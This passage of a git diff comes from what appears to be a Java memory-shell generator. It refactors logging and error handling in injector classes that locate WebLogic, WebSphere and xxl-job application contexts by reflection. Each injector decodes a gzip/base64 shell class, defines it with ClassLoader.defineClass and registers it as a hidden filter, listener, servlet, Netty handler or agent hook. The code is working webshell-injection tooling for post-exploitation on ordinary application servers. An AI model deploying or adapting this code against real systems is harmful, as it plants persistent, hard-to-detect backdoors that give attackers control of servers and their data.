Exception { - Map filters = (Map) getFieldValue(getFieldValue(context, "filterManager"), "filters"); - for (Object obj : filters.keySet()) { - if (obj.toString().contains(getClassName())) { - return true; - } - } - return false; + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -252,6 +279,21 @@ public class WebLogicFilterInjector { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java index 822efc77..9090eaf2 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java @@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.weblogic; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -17,6 +18,9 @@ import java.util.zip.GZIPInputStream; * @author ReaJason */ public class WebLogicListenerInjector { + + private String msg = ""; + public String getClassName() { return "{{className}}"; } @@ -26,15 +30,42 @@ public class WebLogicListenerInjector { } public WebLogicListenerInjector() { + Set contexts = null; try { - Object[] contexts = getContext(); - for (Object context : contexts) { - Object listener = getShell(context); - inject(context, listener); - } - } catch (Exception e) { - e.printStackTrace(); + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; } static Object[] getContextsByMbean() throws Throwable { @@ -111,7 +142,7 @@ public class WebLogicListenerInjector { return webappContexts.toArray(); } - public static Object[] getContext() { + public static Set getContext() { Set webappContexts = new HashSet(); try { webappContexts.addAll(Arrays.asList(getContextsByMbean())); @@ -121,7 +152,7 @@ public class WebLogicListenerInjector { webappContexts.addAll(Arrays.asList(getContextsByThreads())); } catch (Throwable ignored) { } - return webappContexts.toArray(); + return webappContexts; } public ClassLoader getWebAppClassLoader(Object context) throws Exception { @@ -135,36 +166,33 @@ public class WebLogicListenerInjector { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } public void inject(Object context, Object listener) throws Exception { - if (isInjected(context)) { - System.out.println("listener already injected"); - return; - } - Object eventsManager = getFieldValue(context, "eventsManager"); - invokeMethod(eventsManager, "registerEventListener", new Class[]{String.class}, new Object[]{getClassName()}); - System.out.println("listener inject successful"); - } - - @SuppressWarnings("unchecked") - public boolean isInjected(Object context) throws Exception { List requestListeners = (List) getFieldValue(getFieldValue(context, "eventsManager"), "requestListeners"); for (Object requestListener : requestListeners) { if (requestListener.getClass().getName().contains(getClassName())) { - return true; + return; } } - return false; + Object eventsManager = getFieldValue(context, "eventsManager"); + invokeMethod(eventsManager, "registerEventListener", new Class[]{String.class}, new Object[]{getClassName()}); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -234,6 +262,21 @@ public class WebLogicListenerInjector { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletContextAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletContextAgentInjector.java index ac45c6af..b8f0a637 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletContextAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletContextAgentInjector.java @@ -40,7 +40,6 @@ public class WebLogicServletContextAgentInjector implements ClassFileTransformer String name = allLoadedClass.getName(); if (TARGET_CLASS.replace("/", ".").equals(name)) { inst.retransformClasses(allLoadedClass); - System.out.println("MemShell Agent is working at weblogic.servlet.internal.WebAppServletContext.securedExecute"); } } } @@ -61,6 +60,7 @@ public class WebLogicServletContextAgentInjector implements ClassFileTransformer }; ClassVisitor cv = getClassVisitor(cw); cr.accept(cv, ClassReader.EXPAND_FRAMES); + System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME); return cw.toByteArray(); } catch (Exception e) { e.printStackTrace(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java index 04a79b6c..180142af 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java @@ -4,6 +4,7 @@ import javax.servlet.Servlet; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; @@ -18,6 +19,9 @@ import java.util.zip.GZIPInputStream; * @author ReaJason */ public class WebLogicServletInjector { + + private String msg = ""; + public String getUrlPattern() { return "{{urlPattern}}"; } @@ -31,15 +35,42 @@ public class WebLogicServletInjector { } public WebLogicServletInjector() { + Set contexts = null; try { - Object[] contexts = getContext(); - for (Object context : contexts) { - Object servlet = getShell(context); - inject(context, servlet); - } - } catch (Exception e) { - e.printStackTrace(); + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; } public static Object[] getContextsByMbean() throws Throwable { @@ -116,7 +147,7 @@ public class WebLogicServletInjector { return webappContexts.toArray(); } - public static Object[] getContext() { + public static Set getContext() { Set webappContexts = new HashSet(); try { webappContexts.addAll(Arrays.asList(getContextsByMbean())); @@ -126,7 +157,7 @@ public class WebLogicServletInjector { webappContexts.addAll(Arrays.asList(getContextsByThreads())); } catch (Throwable ignored) { } - return webappContexts.toArray(); + return webappContexts; } public ClassLoader getWebAppClassLoader(Object context) throws Exception { @@ -179,12 +210,14 @@ public class WebLogicServletInjector { Object mapping = invokeMethod(servletMapping, "get", new Class[]{String.class}, new Object[]{getUrlPattern()}); if (mapping == null) { invokeMethod(servletMapping, "put", new Class[]{String.class, Object.class}, new Object[]{getUrlPattern(), urlMatchHelper}); - System.out.println("servlet inject successful"); - } else { - System.out.println("servlet already injected"); } } + @Override + public String toString() { + return msg; + } + @SuppressWarnings("all") public static byte[] decodeBase64(String base64Str) throws Exception { Class decoderClass; @@ -237,6 +270,21 @@ public class WebLogicServletInjector { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterChainAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterChainAgentInjector.java index f21340c5..c0086676 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterChainAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterChainAgentInjector.java @@ -40,7 +40,6 @@ public class WebSphereFilterChainAgentInjector implements ClassFileTransformer { String name = allLoadedClass.getName(); if (TARGET_CLASS.replace("/", ".").equals(name)) { inst.retransformClasses(allLoadedClass); - System.out.println("MemShell Agent is working at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter"); } } } @@ -61,6 +60,7 @@ public class WebSphereFilterChainAgentInjector implements ClassFileTransformer { }; ClassVisitor cv = getClassVisitor(cw); cr.accept(cv, ClassReader.EXPAND_FRAMES); + System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME); return cw.toByteArray(); } catch (Exception e) { e.printStackTrace(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java index a185a043..d78ffcf1 100755 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java @@ -4,6 +4,7 @@ import javax.servlet.Filter; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -19,17 +20,8 @@ import java.util.zip.GZIPInputStream; * @author ReaJason */ public class WebSphereFilterInjector { - public WebSphereFilterInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object filter = getShell(context); - inject(context, filter); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + + private String msg = ""; public String getUrlPattern() { return "{{urlPattern}}"; @@ -43,6 +35,45 @@ public class WebSphereFilterInjector { return "{{base64Str}}"; } + public WebSphereFilterInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + /** * com.ibm.ws.webcontainer.webapp.WebAppImpl * /opt/IBM/WebSphere/AppServer/plugins/com.ibm.ws.webcontainer.jar @@ -84,22 +115,23 @@ public class WebSphereFilterInjector { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } - @SuppressWarnings("unchecked") public void inject(Object context, Object filter) throws Exception { - if (isInjected(context)) { - System.out.println("filter already injected"); + Object webAppConfiguration = getFieldValue(context, "config"); + if (invokeMethod(webAppConfiguration, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null) { return; } @@ -135,12 +167,11 @@ public class WebSphereFilterInjector { } // 清除缓存 invokeMethod(getFieldValue(filterManager, "chainCache"), "clear", null, null); - System.out.println("filter injected successfully"); } - public boolean isInjected(Object context) throws Exception { - Object webAppConfiguration = getFieldValue(context, "config"); - return invokeMethod(webAppConfiguration, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null; + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -216,7 +247,7 @@ public class WebSphereFilterInjector { } } - throw new NoSuchFieldException(name); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @@ -230,4 +261,19 @@ public class WebSphereFilterInjector { } return null; } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java index c1705773..d25d746d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java @@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.websphere; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; @@ -14,6 +15,8 @@ import java.util.zip.GZIPInputStream; */ public class WebSphereListenerInjector { + private String msg = ""; + public String getClassName() { return "{{className}}"; } @@ -23,15 +26,42 @@ public class WebSphereListenerInjector { } public WebSphereListenerInjector() { + List contexts = null; try { - List contexts = getContext(); - for (Object context : contexts) { - Object listener = getShell(context); - inject(context, listener); - } - } catch (Exception e) { - e.printStackTrace(); + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; } public List getContext() throws Exception { @@ -71,15 +101,17 @@ public class WebSphereListenerInjector { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @SuppressWarnings("unchecked") @@ -87,12 +119,15 @@ public class WebSphereListenerInjector { List listeners = (List) getFieldValue(context, "servletRequestListeners"); for (Object o : listeners) { if (o.getClass().getName().equals(getClassName())) { - System.out.println("listener already injected"); return; } } listeners.add(listener); - System.out.println("listener injected successfully"); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -141,7 +176,7 @@ public class WebSphereListenerInjector { } } - throw new NoSuchFieldException(name); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @SuppressWarnings("all") @@ -166,4 +201,19 @@ public class WebSphereListenerInjector { method.setAccessible(true); return method.invoke(obj instanceof Class ? null : obj, param); } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java index 36d94a39..366088bd 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java @@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.websphere; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; @@ -15,17 +16,8 @@ import java.util.zip.GZIPInputStream; * @since 2024/12/21 */ public class WebSphereServletInjector { - public WebSphereServletInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object listener = getShell(context); - inject(context, listener); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + + private String msg = ""; public String getUrlPattern() { return "{{urlPattern}}"; @@ -38,6 +30,44 @@ public class WebSphereServletInjector { public String getBase64String() throws IOException { return "{{base64Str}}"; } + public WebSphereServletInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } public List getContext() throws Exception { List contexts = new ArrayList(); @@ -76,26 +106,31 @@ public class WebSphereServletInjector { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } public void inject(Object context, Object servlet) throws Exception { Object config = getFieldValue(context, "config"); Object servletInfo = invokeMethod(config, "getServletInfo", new Class[]{String.class}, new Object[]{getClassName()}); if (servletInfo != null) { - System.out.println("servlet already injected"); return; } invokeMethod(context, "addDynamicServlet", new Class[]{String.class, String.class, String.class, Properties.class}, new Object[]{getClassName(), getClassName(), getUrlPattern(), null}); - System.out.println("servlet injected successfully"); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -143,7 +178,7 @@ public class WebSphereServletInjector { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @SuppressWarnings("all") @@ -168,4 +203,19 @@ public class WebSphereServletInjector { method.setAccessible(true); return method.invoke(obj instanceof Class ? null : obj, param); } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/xxljob/XxlJobNettyHandlerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/xxljob/XxlJobNettyHandlerInjector.java index a22dad86..dd0d283f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/xxljob/XxlJobNettyHandlerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/xxljob/XxlJobNettyHandlerInjector.java @@ -12,6 +12,7 @@ import io.netty.handler.timeout.IdleStateHandler; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.HashSet; @@ -26,6 +27,8 @@ import java.util.zip.GZIPInputStream; * @since 2025/1/21 */ public class XxlJobNettyHandlerInjector extends ChannelInitializer { + private String msg = ""; + public String getClassName() { return "{{className}}"; } @@ -35,12 +38,26 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer handlerClass; @@ -65,8 +82,8 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer getShellClass() throws Exception { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + private Class getShellClass(Object context) throws Exception { + ClassLoader classLoader = context.getClass().getClassLoader(); try { return classLoader.loadClass(getClassName()); } catch (Exception e) { @@ -77,28 +94,26 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { - if (thread != null && thread.getName().contains("nioEventLoopGroup")) { - Object target; - try { - target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val$eventExecutor"); - if (target.getClass().getName().endsWith("NioEventLoop")) { - HashSet set = (HashSet) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys"); - if (!set.isEmpty()) { - Object keys = set.toArray()[0]; - Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline"); - Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler"); - setFieldValue(embedHttpServerHandler, "childHandler", this); - System.out.println("xxl-job NettyHandler inject successful"); - break; - } - } - } catch (Exception ignored) { - } + if (thread == null + || !thread.getName().contains("nioEventLoopGroup")) { + continue; + } + Object target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val$eventExecutor"); + if (target.getClass().getName().endsWith("NioEventLoop")) { + HashSet set = (HashSet) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys"); + Object keys = set.toArray()[0]; + return getFieldValue(getFieldValue(keys, "attachment"), "pipeline"); } } + return null; + } + + public void inject(Object pipeline) throws Exception { + Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler"); + setFieldValue(embedHttpServerHandler, "childHandler", this); } @SuppressWarnings("all") @@ -160,4 +175,19 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer